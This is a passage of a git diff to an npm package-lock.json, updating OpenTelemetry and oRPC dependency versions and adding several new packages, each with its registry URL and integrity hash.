"sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/import-in-the-middle": { + "version": "1.15.0", + "resolved": "https://registry.npmjs.org/import-in-the-middle/-/import-in-the-middle-1.15.0.tgz", + "integrity": "sha512-bpQy+CrsRmYmoPMAE/0G33iwRqwW4ouqdRg8jgbH3aKuCtOc8lxgmYXg2dMM92CRiGP660EtBcymH/eVUpCSaA==", + "license": "Apache-2.0", + "dependencies": { + "acorn": "^8.14.0", + "acorn-import-attributes": "^1.9.5", + "cjs-module-lexer": "^1.2.2", + "module-details-from-path": "^1.0.3" + } + }, + "node_modules/@opentelemetry/sdk-node/node_modules/require-in-the-middle": { + "version": "7.5.2", + "resolved": "https://registry.npmjs.org/require-in-the-middle/-/require-in-the-middle-7.5.2.tgz", + "integrity": "sha512-gAZ+kLqBdHarXB64XpAe2VCjB7rIRv+mU8tfRWziHRJ5umKsIHN2tLLv6EtMw7WCdP19S0ERVMldNvxYCHnhSQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.3.5", + "module-details-from-path": "^1.0.3", + "resolve": "^1.22.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-base": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.2.0.tgz", + "integrity": "sha512-xWQgL0Bmctsalg6PaXExmzdedSp3gyKV8mQBwK/j9VGdCDu2fmXIb2gAehBKbkXCpJ4HPkgv3QfoJWRT4dHWbw==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/core": "2.2.0", + "@opentelemetry/resources": "2.2.0", + "@opentelemetry/semantic-conventions": "^1.29.0" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.3.0 <1.10.0" + } + }, + "node_modules/@opentelemetry/sdk-trace-node": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-node/-/sdk-trace-node-2.0.1.tgz", + "integrity": "sha512-UhdbPF19pMpBtCWYP5lHbTogLWx9N0EBxtdagvkn5YtsAnCBZzL7SjktG+ZmupRgifsHMjwUaCCaVmqGfSADmA==", + "license": "Apache-2.0", + "dependencies": { + "@opentelemetry/context-async-hooks": "2.0.1", + "@opentelemetry/core": "2.0.1", + "@opentelemetry/sdk-trace-base": "2.0.1" + }, + "engines": { + "node": "^18.19.0 || >=20.6.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/core": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-1.24.1.tgz", - "integrity": "sha512-wMSGfsdmibI88K9wB498zXY04yThPexo8jvwNNlm542HZB7XrrMRBbAyKJqG8qDRJwIBdBrPMi4V9ZPW/sqrcg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/core/-/core-2.0.1.tgz", + "integrity": "sha512-MaZk9SJIDgo1peKevlbhP6+IwIiNPNmswNL4AF0WaQJLbHXjr9SrZMgS12+iqr9ToV4ZVosCcc0f8Rg67LXjxw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.0.0 <1.10.0" } }, "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/resources": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-1.24.1.tgz", - "integrity": "sha512-cyv0MwAaPF7O86x5hk3NNgenMObeejZFLJJDVuSeSMIsknlsj3oOZzRv3qSzlwYomXsICfBeFFlxwHQte5mGXQ==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/resources/-/resources-2.0.1.tgz", + "integrity": "sha512-dZOB3R6zvBwDKnHDTB4X1xtMArB/d324VsbiPkX/Yu0Q8T2xceRthoIVFhJdvgVM2QhGVUyX9tzwiNxGtoBJUw==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/sdk-trace-base": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-1.24.1.tgz", - "integrity": "sha512-zz+N423IcySgjihl2NfjBf0qw1RWe11XIAWVrTNOSSI6dtSPJiVom2zipFB2AEEtJWpv0Iz6DY6+TjnyTV5pWg==", + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/@opentelemetry/sdk-trace-base/-/sdk-trace-base-2.0.1.tgz", + "integrity": "sha512-xYLlvk/xdScGx1aEqvxLwf6sXQLXCjk3/1SQT9X9AoN5rXRhkdvIFShuNNmtTEPRBqcsMbS4p/gJLNI2wXaDuQ==", "license": "Apache-2.0", "dependencies": { - "@opentelemetry/core": "1.24.1", - "@opentelemetry/resources": "1.24.1", - "@opentelemetry/semantic-conventions": "1.24.1" + "@opentelemetry/core": "2.0.1", + "@opentelemetry/resources": "2.0.1", + "@opentelemetry/semantic-conventions": "^1.29.0" }, "engines": { - "node": ">=14" + "node": "^18.19.0 || >=20.6.0" }, "peerDependencies": { - "@opentelemetry/api": ">=1.0.0 <1.9.0" - } - }, - "node_modules/@opentelemetry/sdk-trace-node/node_modules/@opentelemetry/semantic-conventions": { - "version": "1.24.1", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.24.1.tgz", - "integrity": "sha512-VkliWlS4/+GHLLW7J/rVBA00uXus1SWvwFvcUDxDwmFxYfg/2VI6ekwdXS28cjI8Qz2ky2BzG8OUHo+WeYIWqw==", - "license": "Apache-2.0", - "engines": { - "node": ">=14" + "@opentelemetry/api": ">=1.3.0 <1.10.0" } }, "node_modules/@opentelemetry/semantic-conventions": { - "version": "1.28.0", - "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.28.0.tgz", - "integrity": "sha512-lp4qAiMTD4sNWW4DbKLBkfiMZ4jbAboJIGOQr5DvciMRI494OapieI9qiODpOt0XBr1LjIDy1xAGAnVs5supTA==", + "version": "1.37.0", + "resolved": "https://registry.npmjs.org/@opentelemetry/semantic-conventions/-/semantic-conventions-1.37.0.tgz", + "integrity": "sha512-JD6DerIKdJGmRp4jQyX5FlrQjA4tjOw1cvfsPAZXfOOEErMUHjPcPSICS+6WnM0nB0efSFARh0KAZss+bvExOA==", "license": "Apache-2.0", "engines": { "node": ">=14" } }, "node_modules/@orpc/client": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/client/-/client-1.2.0.tgz", - "integrity": "sha512-Wt1il08fs6l9YK8TIjLmMBwb7MzzO8+3aOxFMs7RaQE3iGQ9Ox7ImomSPV8lhxQpWefpDN9fqOCH6pOid6cH6Q==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/client/-/client-1.8.1.tgz", + "integrity": "sha512-ewofUqn46yHQxnAOFLwZspQD1k3DPTUCnkqP6aFO1alUMHgLFNb03BKd1rgwUXSWaxWltKD8Db07HNxgltdk4A==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.2.0", - "@orpc/standard-server": "1.2.0", - "@orpc/standard-server-fetch": "1.2.0", - "@orpc/standard-server-peer": "1.2.0" + "@orpc/shared": "1.8.1", + "@orpc/standard-server": "1.8.1", + "@orpc/standard-server-fetch": "1.8.1", + "@orpc/standard-server-peer": "1.8.1" } }, "node_modules/@orpc/contract": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/contract/-/contract-1.2.0.tgz", - "integrity": "sha512-hl90EmPYtP4oMK2+93yocgDaah95tXi3YQbmdgQuKCec4x4GAn85LbHze4G8pPZ5BiSjNSBpyykRV4uA4E5zbA==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/contract/-/contract-1.8.1.tgz", + "integrity": "sha512-zw0xgRxOyR/otX+4UeGEm0VjuMH/AeVbEuWvPNRJC8xxvQpaPJFo8Nr8eaywqSUZo1DnIS+pkwsdipa7GgFl7A==", "license": "MIT", "dependencies": { - "@orpc/client": "1.2.0", - "@orpc/shared": "1.2.0", - "@standard-schema/spec": "^1.0.0" - } - }, - "node_modules/@orpc/openapi": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/openapi/-/openapi-1.2.0.tgz", - "integrity": "sha512-yZ5RWyBSltHuSrh17wdjA69OcbQwjeBrKecTRe1ORJmaIMHFSW/aDij/nBYzWHspJPcD911j3vsD6CjVvz8k9Q==", - "license": "MIT", - "dependencies": { - "@orpc/client": "1.2.0", - "@orpc/contract": "1.2.0", - "@orpc/openapi-client": "1.2.0", - "@orpc/server": "1.2.0", - "@orpc/shared": "1.2.0", - "@orpc/standard-server": "1.2.0", - "json-schema-typed": "^8.0.1", - "openapi-types": "^12.1.3", - "rou3": "^0.6.0" - } - }, - "node_modules/@orpc/openapi-client": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@orpc/openapi-client/-/openapi-client-1.7.5.tgz", - "integrity": "sha512-3N18WR3mRz5kpO06+peTtJF4nrSWvqQDZgbcIoX7loFcKrGmT9KdAtIOrc+5zUi7UVYNiO7RP9Ha4Y/HrD7mLg==", - "license": "MIT", - "dependencies": { - "@orpc/client": "1.7.5", - "@orpc/contract": "1.7.5", - "@orpc/shared": "1.7.5", - "@orpc/standard-server": "1.7.5" - } - }, - "node_modules/@orpc/openapi-client/node_modules/@orpc/client": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@orpc/client/-/client-1.7.5.tgz", - "integrity": "sha512-UA4uJAOdy2SM/c7/tQVvS4+fYiBmFn7/8NxhCV3GfY6cBnxPBf83v1jC25ZtGrfyc2RY/+7dwdpKRdQXI2Biaw==", - "license": "MIT", - "dependencies": { - "@orpc/shared": "1.7.5", - "@orpc/standard-server": "1.7.5", - "@orpc/standard-server-fetch": "1.7.5", - "@orpc/standard-server-peer": "1.7.5" - } - }, - "node_modules/@orpc/openapi-client/node_modules/@orpc/contract": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@orpc/contract/-/contract-1.7.5.tgz", - "integrity": "sha512-Q2XaOJEBzxc7PZ40DIoFJgAPBn6Z8SUYE/tb4N3ynUOjsqMsexhm++cyPzsp+qDG5okO+t3cPY2H5K2YdgTNdw==", - "license": "MIT", - "dependencies": { - "@orpc/client": "1.7.5", - "@orpc/shared": "1.7.5", + "@orpc/client": "1.8.1", + "@orpc/shared": "1.8.1", "@standard-schema/spec": "^1.0.0", "openapi-types": "^12.1.3" } }, - "node_modules/@orpc/openapi-client/node_modules/@orpc/shared": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.7.5.tgz", - "integrity": "sha512-kEXags36EeL0rYVVJ30OQ6lIB8YySE2A/0wYw1kdi5g/KO6xXDE2W5LRsm3SU2UljG0AqXggIL9IKaWOl/qwAw==", + "node_modules/@orpc/interop": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/interop/-/interop-1.8.1.tgz", + "integrity": "sha512-TA2AQREo3tKQheHPvVs5PY1PqDnNUFGO3c8eb6lrX53npOD6lMi6IPedzeEHaZCqb17bRZ9Skc9Fg1FZ30ckug==", + "license": "MIT" + }, + "node_modules/@orpc/json-schema": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/json-schema/-/json-schema-1.8.1.tgz", + "integrity": "sha512-i3qaaW0iKreD8tgRCqQbqn69LZT2f3f80+idLUeq7zHmHtbhoYlPEmtCfz29+casM719gWkI6QDRtMhDpfQlgw==", + "license": "MIT", + "dependencies": { + "@orpc/contract": "1.8.1", + "@orpc/interop": "1.8.1", + "@orpc/openapi": "1.8.1", + "@orpc/server": "1.8.1", + "@orpc/shared": "1.8.1" + } + }, + "node_modules/@orpc/openapi": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/openapi/-/openapi-1.8.1.tgz", + "integrity": "sha512-G1qMCjpVGxJYrU0vMdYOr2WxSiX9C6ZhvafgKN7vOGqC7O5s1D+Ph/cSUe1R9OPZZPouhw75MNjTtKYP5lOrcA==", + "license": "MIT", + "dependencies": { + "@orpc/client": "1.8.1", + "@orpc/contract": "1.8.1", + "@orpc/interop": "1.8.1", + "@orpc/openapi-client": "1.8.1", + "@orpc/server": "1.8.1", + "@orpc/shared": "1.8.1", + "@orpc/standard-server": "1.8.1", + "rou3": "^0.7.3" + } + }, + "node_modules/@orpc/openapi-client": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/openapi-client/-/openapi-client-1.8.1.tgz", + "integrity": "sha512-DlBdRcn0lz2lzBis+d6zfVD8tZ7hM5S0uCjL3jNLNp/3T7RMSbhz/6egBCQW1vRh+kXhBjVyGs1mYEYd7ZWEZw==", + "license": "MIT", + "dependencies": { + "@orpc/client": "1.8.1", + "@orpc/contract": "1.8.1", + "@orpc/shared": "1.8.1", + "@orpc/standard-server": "1.8.1" + } + }, + "node_modules/@orpc/otel": { + "version": "1.10.3", + "resolved": "https://registry.npmjs.org/@orpc/otel/-/otel-1.10.3.tgz", + "integrity": "sha512-dH+JhDyE8WGBP9MmqZYtk42b7+iI0CNpHWqLKNKs6Ac/ovroLIUR+DpeU90BkkH3ieEyiJy2Gcdj+burZb++4g==", + "license": "MIT", + "dependencies": { + "@orpc/shared": "1.10.3" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0", + "@opentelemetry/instrumentation": ">=0.203.0" + } + }, + "node_modules/@orpc/otel/node_modules/@orpc/shared": { + "version": "1.10.3", + "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.10.3.tgz", + "integrity": "sha512-BOVQ47V1o47gURvvnqjtnCoYxMSRDyOi8KxyGZO72MIqY3sLtUHOmosLBoMWYla487YiIyoXlWU7Lo32jYvJbw==", "license": "MIT", "dependencies": { "radash": "^12.1.1", - "type-fest": "^4.39.1" + "type-fest": "^5.1.0" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0" + }, + "peerDependenciesMeta": { + "@opentelemetry/api": { + "optional": true + } } }, - "node_modules/@orpc/openapi-client/node_modules/@orpc/standard-server": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@orpc/standard-server/-/standard-server-1.7.5.tgz", - "integrity": "sha512-hEFqOin/H53+WmG4M0hfeAx/E2mAEp5Gzz12ufK9nmddbrbpkT8KBKCrs6iHPnJkjvYwB7f1EItrtgmBPAYOXg==", - "license": "MIT", + "node_modules/@orpc/otel/node_modules/type-fest": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-5.2.0.tgz", + "integrity": "sha512-xxCJm+Bckc6kQBknN7i9fnP/xobQRsRQxR01CztFkp/h++yfVxUUcmMgfR2HttJx/dpWjS9ubVuyspJv24Q9DA==", + "license": "(MIT OR CC0-1.0)", "dependencies": { - "@orpc/shared": "1.7.5" - } - }, - "node_modules/@orpc/openapi-client/node_modules/@orpc/standard-server-fetch": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-fetch/-/standard-server-fetch-1.7.5.tgz", - "integrity": "sha512-O/HWpKd3vObiTYCS+wWfQiuX+rhzL4whgEPdF4kBAXmxxxV93q1aF3ZfldYC3qsHMtEzA0mVDHyhonsajaBefA==", - "license": "MIT", - "dependencies": { - "@orpc/shared": "1.7.5", - "@orpc/standard-server": "1.7.5" - } - }, - "node_modules/@orpc/openapi-client/node_modules/@orpc/standard-server-peer": { - "version": "1.7.5", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-peer/-/standard-server-peer-1.7.5.tgz", - "integrity": "sha512-bP//D18Qlj3Rh8Udl88KtKwVv/wGzLQ5++XlSQutMe0ENGmqUDz/sf+PtZtezk0nU5pjhBNU7L9u3cU+BN4Xcw==", - "license": "MIT", - "dependencies": { - "@orpc/shared": "1.7.5", - "@orpc/standard-server": "1.7.5" - } - }, - "node_modules/@orpc/openapi/node_modules/@orpc/openapi-client": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/openapi-client/-/openapi-client-1.2.0.tgz", - "integrity": "sha512-f3eK9vfwbc2Ni3tQJrhHJb8BCxdCqDoUZ/hvoAhSieYROK5p+cB67+biI3zD/XNaee9xHbC/SyWa1ThtvTEgmg==", - "license": "MIT", - "dependencies": { - "@orpc/client": "1.2.0", - "@orpc/contract": "1.2.0", - "@orpc/shared": "1.2.0", - "@orpc/standard-server": "1.2.0" + "tagged-tag": "^1.0.0" + }, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/@orpc/server": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/server/-/server-1.2.0.tgz", - "integrity": "sha512-EQARc4PEcS3ndkL+Es87M1BZru5x7q49q7Ivcd6tWFpA9Hn6n08WgiJDqDRDMoEeEJlzG5AzI+eXxvF1hR9Cdg==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/server/-/server-1.8.1.tgz", + "integrity": "sha512-Aei7KJSMG9daNdubREeDYKCnmSRTnZT7V1Cx0NFLYDYqx8Bdil2J2InJghsio6AZdJUWLNq/zMm6QDu3NN2E6g==", "license": "MIT", "dependencies": { - "@orpc/client": "1.2.0", - "@orpc/contract": "1.2.0", - "@orpc/shared": "1.2.0", - "@orpc/standard-server": "1.2.0", - "@orpc/standard-server-fetch": "1.2.0", - "@orpc/standard-server-node": "1.2.0", - "@orpc/standard-server-peer": "1.2.0" + "@orpc/client": "1.8.1", + "@orpc/contract": "1.8.1", + "@orpc/interop": "1.8.1", + "@orpc/shared": "1.8.1", + "@orpc/standard-server": "1.8.1", + "@orpc/standard-server-aws-lambda": "1.8.1", + "@orpc/standard-server-fetch": "1.8.1", + "@orpc/standard-server-node": "1.8.1", + "@orpc/standard-server-peer": "1.8.1", + "cookie": "^1.0.2" }, "peerDependencies": { "crossws": ">=0.3.4", @@ -3018,79 +3515,101 @@ } } }, + "node_modules/@orpc/server/node_modules/cookie": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.0.2.tgz", + "integrity": "sha512-9Kr/j4O16ISv8zBBhJoi4bXOYNTkFLOqSL3UDB0njXxCXNezjeyVrJyGOWtgfs/q2km1gwBcfH8q1yEGoMYunA==", + "license": "MIT", + "engines": { + "node": ">=18" + } + }, "node_modules/@orpc/shared": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.2.0.tgz", - "integrity": "sha512-Y01Q4dS/vlxWfV4cEAmMSWaitbIqp6yFXgin/rIEtciwXr5X1YRw80+dtu91eLWAmEaOCOL/BcyACinqEvc/DQ==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/shared/-/shared-1.8.1.tgz", + "integrity": "sha512-tlKvjSpqV54tG7tWwBjBcg/RziszZhWNp4Md2ERpLn+hnzgp8XyD0TEFLjWRm1RBAsZptqe/OlYIVEqNa3rg2g==", "license": "MIT", "dependencies": { - "radash": "^12.1.0", + "radash": "^12.1.1", "type-fest": "^4.39.1" + }, + "peerDependencies": { + "@opentelemetry/api": ">=1.9.0" + }, + "peerDependenciesMeta": { + "@opentelemetry/api": { + "optional": true + } } }, "node_modules/@orpc/standard-server": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/standard-server/-/standard-server-1.2.0.tgz", - "integrity": "sha512-EJ9GqNwK6gGfcdoQGgAJsVZ2c4HFcvkq8TJOUDdv6DFl/GmViIU2log0o4K83C5B9vNIYRahk26hOOFp9sdQAQ==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/standard-server/-/standard-server-1.8.1.tgz", + "integrity": "sha512-SgVoxnmRAhrF0usZcz72F8FcneM4Rp+UYMhggwwnCEtjKtKXddg89J/to2bkpH/P5x8JMVI/uE2YXRG8CtU6Cg==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.2.0" + "@orpc/shared": "1.8.1" + } + }, + "node_modules/@orpc/standard-server-aws-lambda": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-aws-lambda/-/standard-server-aws-lambda-1.8.1.tgz", + "integrity": "sha512-5db2k1nhdySkYXMMXCxMuZIXDgo04rrZ6qqIEr1cvKnW5OHadcvxysfMa60WMA4Mzm3pypl2WJKGy36mdm6R8Q==", + "license": "MIT", + "dependencies": { + "@orpc/shared": "1.8.1", + "@orpc/standard-server": "1.8.1", + "@orpc/standard-server-fetch": "1.8.1", + "@orpc/standard-server-node": "1.8.1" } }, "node_modules/@orpc/standard-server-fetch": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-fetch/-/standard-server-fetch-1.2.0.tgz", - "integrity": "sha512-2gNOSkmgoWD1L3LWr5/47C8PibsMnFr4GCU7VXKtyFo0ejsP51hxgwnetFwDeKfDWugEtjNzk19xsvN09Vj4Ug==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-fetch/-/standard-server-fetch-1.8.1.tgz", + "integrity": "sha512-HZNTuLitB6X2nVPBfpbKvHRPNL7LV4J9+mQxr+Xi/hU2I6Fr2KWjNmAxcH1Fn6cOsJ09q9RFIaikUC88CQMnlA==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.2.0", - "@orpc/standard-server": "1.2.0" + "@orpc/shared": "1.8.1", + "@orpc/standard-server": "1.8.1" } }, "node_modules/@orpc/standard-server-node": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-node/-/standard-server-node-1.2.0.tgz", - "integrity": "sha512-ZRUAZKxQWwzJuHWUsskK5+E+V1mx21eJtGihJRnk5VZWiK8ooA/0g4Kvf8v5ewfyahFLjDsRPEJJV2UZLUlVtg==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-node/-/standard-server-node-1.8.1.tgz", + "integrity": "sha512-+hKShhdAM2ljCbfvFjZQVhcpZjVXCgrz3ysTNKRsIR+E3aiYXffylL6RDOjLAjfvQyRy7wsPVxPjyqUHGXX4vg==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.2.0", - "@orpc/standard-server": "1.2.0" + "@orpc/shared": "1.8.1", + "@orpc/standard-server": "1.8.1", + "@orpc/standard-server-fetch": "1.8.1" } }, "node_modules/@orpc/standard-server-peer": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/standard-server-peer/-/standard-server-peer-1.2.0.tgz", - "integrity": "sha512-G6shbGltkxpYVeQiJEOAQnlCyxKGzMi5vzL3+EMggCqm6ykt3UIR3+QEcey1x7OKXopienjh6Rq+i7IwVBI+ZA==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/standard-server-peer/-/standard-server-peer-1.8.1.tgz", + "integrity": "sha512-QDGfi/P0HKxFQCoDUOsIaIfO1KK10qoXDmd6ZfZF9DwFKrnqE6AEpMgz/TVDqLb6mFUzMtvdjrPga8uO9QdnbQ==", "license": "MIT", "dependencies": { - "@orpc/shared": "1.2.0", - "@orpc/standard-server": "1.2.0" + "@orpc/shared": "1.8.1", + "@orpc/standard-server": "1.8.1" } }, "node_modules/@orpc/zod": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@orpc/zod/-/zod-1.2.0.tgz", - "integrity": "sha512-Ua1fJpFvZsn1Cf2bM1dmjJckU7V7rYlaSlumNLNpOZcaH0NZ2b7e/ffY/MeB8GtWACyzggZ5lj/Jtc79WdUuVw==", + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/@orpc/zod/-/zod-1.8.1.tgz", + "integrity": "sha512-2tVvLnPx5xxb2H93FYWfAGFA9N7IrVf8/Bv5aUEg11LiHaYBzDEBwyssiOXQL7/57RJ8RQbpvKYmr19hVrmj8g==", "license": "MIT", "dependencies": { - "@orpc/openapi": "1.2.0", - "@orpc/shared": "1.2.0", + "@orpc/json-schema": "1.8.1", + "@orpc/openapi": "1.8.1", + "@orpc/shared": "1.8.1", "escape-string-regexp": "^5.0.0", "wildcard-match": "^5.1.3" }, "peerDependencies": { - "@orpc/contract": "1.2.0", - "@orpc/server": "1.2.0", - "@zod/core": ">=0.11.4", - "zod": ">=3.24.2" - }, - "peerDependenciesMeta": { - "@zod/core": { - "optional": true - }, - "zod": { - "optional": true - } + "@orpc/contract": "1.8.1", + "@orpc/server": "1.8.1", + "zod": ">=3.25.0" } }, "node_modules/@oxlint/darwin-arm64": { @@ -3205,6 +3724,26 @@ "win32" ] }, + "node_modules/@paralleldrive/cuid2": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/@paralleldrive/cuid2/-/cuid2-2.3.1.tgz", + "integrity": "sha512-XO7cAxhnTZl0Yggq6jOgjiOHhbgcO4NqFqwSmQpjK3b6TEE6Uj/jfSk6wzYyemh3+I0sHirKSetjQwn5cZktFw==", + "license": "MIT", + "dependencies": { + "@noble/hashes": "^1.1.5" + } + }, + "node_modules/@pkgjs/parseargs": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/@pkgjs/parseargs/-/parseargs-0.11.0.tgz", + "integrity": "sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==", + "license": "MIT", + "optional": true, + "peer": true, + "engines": { + "node": ">=14" + } + }, "node_modules/@protobufjs/aspromise": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/@protobufjs/aspromise/-/aspromise-1.1.2.tgz", @@ -3624,9 +4163,9 @@ } }, "node_modules/@rollup/rollup-linux-x64-gnu": { - "version": "4.46.1", - "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.46.1.tgz", - "integrity": "sha512-9OADZYryz/7E8/qt0vnaHQgmia2Y0wrjSSn1V/uL+zw/i7NUhxbX4cHXdEQ7dnJgzYDS81d8+tf6nbIdRFZQoQ==", + "version": "4.52.5", + "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.52.5.tgz", + "integrity": "sha512-hXGLYpdhiNElzN770+H2nlx+jRog8TyynpTVzdlc6bndktjKWyZyiCsuDAlpd+j+W+WNqfcyAWz9HxxIGfZm1Q==", "cpu": [ "x64" ], @@ -3774,6 +4313,13 @@ "dev": true, "license": "MIT" }, + "node_modules/@sqltools/formatter": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/@sqltools/formatter/-/formatter-1.2.5.tgz", + "integrity": "sha512-Uy0+khmZqUrUGm5dmMqVlnvufZRSK0FbYzVgp0UMstm+F5+W2/jnEEQyc9vo1ZR/E5ZI/B1WjjoTqBqwJL6Krw==", + "license": "MIT", + "peer": true + }, "node_modules/@standard-schema/spec": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.0.0.tgz", @@ -4334,12 +4880,6 @@ "csstype": "^3.0.2" } }, - "node_modules/@types/shimmer": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@types/shimmer/-/shimmer-1.2.0.tgz", - "integrity": "sha512-UE7oxhQLLd9gub6JKIAhDq06T0F6FnztwMNRvYgjeQSBeMc1ZG/tA47EwfduvkuQS8apbkM/lpLpWsaCeYsXVg==", - "license": "MIT" - }, "node_modules/@types/unist": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", @@ -4547,7 +5087,6 @@ "version": "6.1.0", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz", "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==", - "dev": true, "license": "MIT", "engines": { "node": ">=12" @@ -4560,7 +5099,6 @@ "version": "6.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz", "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==", - "dev": true, "license": "MIT", "engines": { "node": ">=12" @@ -4569,6 +5107,16 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, + "node_modules/ansis": { + "version": "3.17.0", + "resolved": "https://registry.npmjs.org/ansis/-/ansis-3.17.0.tgz", + "integrity": "sha512-0qWUglt9JEqLFr3w1I1pbrChn1grhaiAR2ocX1PP/flRmxgtwTzPFFFnfIlD6aMOLQZgSuCRlidD70lvx8yhzg==", + "license": "ISC", + 